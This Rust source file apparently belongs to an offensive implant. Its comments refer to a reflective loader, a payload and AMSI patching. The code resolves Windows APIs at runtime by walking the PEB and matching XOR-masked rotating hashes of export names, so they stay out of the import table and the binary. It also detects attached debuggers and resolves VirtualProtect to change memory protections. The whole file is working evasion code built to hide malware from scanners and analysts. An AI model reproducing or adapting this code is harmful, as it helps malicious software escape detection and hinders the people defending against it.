266 lines
8.6 KiB
Rust
266 lines
8.6 KiB
Rust
//! Runtime API resolution by hash — no import table entry needed.
|
|
//!
|
|
//! Many analysis tools triage an implant by its static import table. This module
|
|
//! resolves a handful of critical NT/K32 APIs at runtime by walking the PEB
|
|
//! module list and scanning export names with a rotating hash, exactly like the
|
|
//! reflective loader does. The guard never needs those APIs to appear in its
|
|
//! imports, so a scanner sees a much quieter PE.
|
|
//!
|
|
//! This is intentionally additive: the payload *already* worked via its normal
|
|
//! import table (fixed up by the reflective loader). For the guard, resolving a
|
|
//! few crypto/VM/debug APIs by hash lets us probe deeper without declaring them.
|
|
|
|
use core::ffi::c_void;
|
|
use core::ptr;
|
|
|
|
use crate::abi;
|
|
|
|
#[inline(always)]
|
|
fn ror1(v: u32) -> u32 {
|
|
v.wrapping_shr(1) | v.wrapping_shl(31)
|
|
}
|
|
|
|
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
|
|
let mut h: u32 = 0;
|
|
let mut i = 0;
|
|
while i < nchars {
|
|
let c = ptr::read_volatile((ptr + i * 2) as *const u16);
|
|
h = ror1(h);
|
|
if (0x61..=0x7A).contains(&c) {
|
|
h = h.wrapping_add((c - 0x20) as u32);
|
|
} else {
|
|
h = h.wrapping_add(c as u32);
|
|
}
|
|
i += 1;
|
|
}
|
|
h
|
|
}
|
|
|
|
unsafe fn hash_ascii(ptr: usize) -> u32 {
|
|
let mut h: u32 = 0;
|
|
let mut i = 0;
|
|
loop {
|
|
let c = ptr::read_volatile((ptr + i) as *const u8) as u32;
|
|
if c == 0 {
|
|
return h;
|
|
}
|
|
h = ror1(h);
|
|
if (0x61..=0x7A).contains(&c) {
|
|
h = h.wrapping_add(c - 0x20);
|
|
} else {
|
|
h = h.wrapping_add(c);
|
|
}
|
|
i += 1;
|
|
}
|
|
}
|
|
|
|
/// Find a module base by its base-name rotating hash.
|
|
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
|
|
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
|
|
if ldr == 0 {
|
|
return 0;
|
|
}
|
|
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
|
|
if head == 0 {
|
|
return 0;
|
|
}
|
|
let mut cur = head;
|
|
loop {
|
|
if cur == 0 {
|
|
return 0;
|
|
}
|
|
let entry = cur.wrapping_sub(0x10);
|
|
let name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
|
|
if name_len > 0 {
|
|
let name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
|
|
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
|
|
return ptr::read_volatile((entry + 0x30) as *const usize);
|
|
}
|
|
}
|
|
let next = ptr::read_volatile((entry + 0x10) as *const usize);
|
|
if next == head || next == cur {
|
|
break;
|
|
}
|
|
cur = next;
|
|
}
|
|
0
|
|
}
|
|
|
|
/// Resolve an export of `base` by its ror-hashed name.
|
|
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
|
|
let lfanew = ptr::read_volatile((base + 0x3C) as *const u32) as usize;
|
|
let dd = base + lfanew + 4 + 20 + 112;
|
|
let ed_rva = ptr::read_volatile((dd + 0) as *const u32) as usize;
|
|
if ed_rva == 0 {
|
|
return 0;
|
|
}
|
|
let ed = base + ed_rva;
|
|
let num_names = ptr::read_volatile((ed + 24) as *const u32) as usize;
|
|
let addr_of_names = ptr::read_volatile((ed + 32) as *const u32) as usize;
|
|
let addr_of_funcs = ptr::read_volatile((ed + 28) as *const u32) as usize;
|
|
let addr_of_ord = ptr::read_volatile((ed + 36) as *const u32) as usize;
|
|
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
|
|
return 0;
|
|
}
|
|
for i in 0..num_names {
|
|
let name_rva = ptr::read_volatile((base + addr_of_names + i * 4) as *const u32) as usize;
|
|
if hash_ascii(base + name_rva) == want {
|
|
let ordinal = ptr::read_volatile((base + addr_of_ord + i * 2) as *const u16) as usize;
|
|
let fn_rva = ptr::read_volatile((base + addr_of_funcs + ordinal * 4) as *const u32) as usize;
|
|
if fn_rva != 0 {
|
|
return base + fn_rva;
|
|
}
|
|
return 0;
|
|
}
|
|
}
|
|
0
|
|
}
|
|
|
|
unsafe fn peb_pointer() -> usize {
|
|
let peb: usize;
|
|
core::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
|
|
peb
|
|
}
|
|
|
|
/// Public PEB pointer accessor (used by antihook's IAT walk).
|
|
pub unsafe fn peb_ptr() -> usize {
|
|
peb_pointer()
|
|
}
|
|
|
|
// API-hash constants stored XORed with HASH_KEY so raw ror-hashes never
|
|
// appear in the binary. `r()` unmasks at runtime (black_box blocks the
|
|
// optimizer from folding the XOR back to the plain value).
|
|
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
|
|
|
#[inline(always)]
|
|
fn r(h: u32) -> u32 {
|
|
h ^ core::hint::black_box(HASH_KEY)
|
|
}
|
|
|
|
const HASH_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
|
|
const HASH_NTDLL: u32 = 0xE600_0091 ^ HASH_KEY;
|
|
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
|
|
const HASH_VIRTUALPROTECT: u32 = 0x2A00_009B ^ HASH_KEY;
|
|
const HASH_CHECK_REMOTE_DEBUGGER_PRESENT: u32 = 0xF162_D81F ^ HASH_KEY;
|
|
|
|
type CheckRemoteDebuggerFn =
|
|
unsafe extern "system" fn(process: usize, present: *mut i32) -> i32;
|
|
|
|
/// Resolve `CheckRemoteDebuggerPresent` by hash (kernel32). Returns its VA or 0.
|
|
pub unsafe fn check_remote_debugger() -> usize {
|
|
let k32 = module_base_by_hash(peb_pointer(), r(HASH_KERNEL32));
|
|
if k32 == 0 {
|
|
return 0;
|
|
}
|
|
export_by_hash(k32, r(HASH_CHECK_REMOTE_DEBUGGER_PRESENT))
|
|
}
|
|
|
|
/// Invoke CheckRemoteDebuggerPresent dynamically. True if a debugger is present.
|
|
pub unsafe fn dyn_check_remote_debugger() -> bool {
|
|
let raw = check_remote_debugger();
|
|
if raw == 0 {
|
|
return false;
|
|
}
|
|
let f: CheckRemoteDebuggerFn = core::mem::transmute(raw);
|
|
let mut present: i32 = 0;
|
|
f(abi::GetCurrentProcess(), &mut present) != 0 && present != 0
|
|
}
|
|
|
|
/// Resolve `NtQueryInformationProcess` by hash (ntdll). Returns its VA or 0.
|
|
pub unsafe fn nt_query_information_process() -> usize {
|
|
let peb = peb_pointer();
|
|
let ntdll = module_base_by_hash(peb, r(HASH_NTDLL));
|
|
if ntdll == 0 {
|
|
return 0;
|
|
}
|
|
export_by_hash(ntdll, r(HASH_NTQUERY_INFORMATION_PROCESS))
|
|
}
|
|
|
|
/// Resolve `VirtualProtect` by hash (kernel32). Returns its VA or 0.
|
|
pub unsafe fn virtual_protect() -> usize {
|
|
let peb = peb_pointer();
|
|
let k32 = module_base_by_hash(peb, r(HASH_KERNEL32));
|
|
if k32 == 0 {
|
|
return 0;
|
|
}
|
|
export_by_hash(k32, r(HASH_VIRTUALPROTECT))
|
|
}
|
|
|
|
/// ntdll module base, resolved by hash.
|
|
pub unsafe fn ntdll_base() -> usize {
|
|
module_base_by_hash(peb_pointer(), r(HASH_NTDLL))
|
|
}
|
|
|
|
/// Resolve any loaded module's base by its wide base-name hash
|
|
/// (used for e.g. amsi.dll during AMSI patching).
|
|
pub unsafe fn module_base_by_name_hash(want: u32) -> usize {
|
|
module_base_by_hash(peb_pointer(), want)
|
|
}
|
|
|
|
/// Public wrapper to resolve an ntdll export by its ror hash (used by antihook).
|
|
pub unsafe fn export_by_hash_public(base: usize, want: u32) -> usize {
|
|
export_by_hash(base, want)
|
|
}
|
|
|
|
/// A resolved dynamic NT API handle (opaque pointer + castable fn).
|
|
type NtQueryFn = unsafe extern "system" fn(
|
|
process: usize, class: u32, info: *mut c_void, len: u32, ret: *mut u32,
|
|
) -> i32;
|
|
type VirtualProtectFn = unsafe extern "system" fn(
|
|
addr: *mut c_void, size: usize, prot: u32, old: *mut u32,
|
|
) -> i32;
|
|
|
|
/// Call NtQueryInformationProcess(ProcessDebugFlags) purely via the dynamically
|
|
/// resolved pointer. Used by the guard to avoid importing it.
|
|
pub unsafe fn dyn_query_debug_flags() -> Option<u32> {
|
|
let raw = nt_query_information_process();
|
|
if raw == 0 {
|
|
return None;
|
|
}
|
|
let f: NtQueryFn = core::mem::transmute(raw);
|
|
let mut flags: u32 = 0;
|
|
let st = f(
|
|
abi::GetCurrentProcess(),
|
|
0x1f,
|
|
&mut flags as *mut u32 as *mut c_void,
|
|
core::mem::size_of::<u32>() as u32,
|
|
ptr::null_mut(),
|
|
);
|
|
if st == 0 {
|
|
Some(flags)
|
|
} else {
|
|
None
|
|
}
|
|
}
|
|
|
|
/// Call NtQueryInformationProcess(ProcessDebugPort) dynamically. Returns
|
|
/// Some(port) when the call succeeds and a non-zero port is set (i.e. a debugger
|
|
/// is attached), None on failure/no debugger.
|
|
pub unsafe fn dyn_query_debug_port() -> bool {
|
|
let raw = nt_query_information_process();
|
|
if raw == 0 {
|
|
return false;
|
|
}
|
|
let f: NtQueryFn = core::mem::transmute(raw);
|
|
let mut port: *mut c_void = ptr::null_mut();
|
|
let st = f(
|
|
abi::GetCurrentProcess(),
|
|
7,
|
|
&mut port as *mut *mut c_void as *mut c_void,
|
|
core::mem::size_of::<*mut c_void>() as u32,
|
|
ptr::null_mut(),
|
|
);
|
|
st == 0 && !port.is_null()
|
|
}
|
|
|
|
/// Dynamically downgrade an RWX region using the resolved VirtualProtect.
|
|
pub unsafe fn dyn_downgrade_rwx(addr: *mut c_void, size: usize) -> bool {
|
|
let raw = virtual_protect();
|
|
if raw == 0 {
|
|
return false;
|
|
}
|
|
let f: VirtualProtectFn = core::mem::transmute(raw);
|
|
let mut old: u32 = 0;
|
|
f(addr, size, abi::PAGE_EXECUTE_READ, &mut old) != 0
|
|
}
|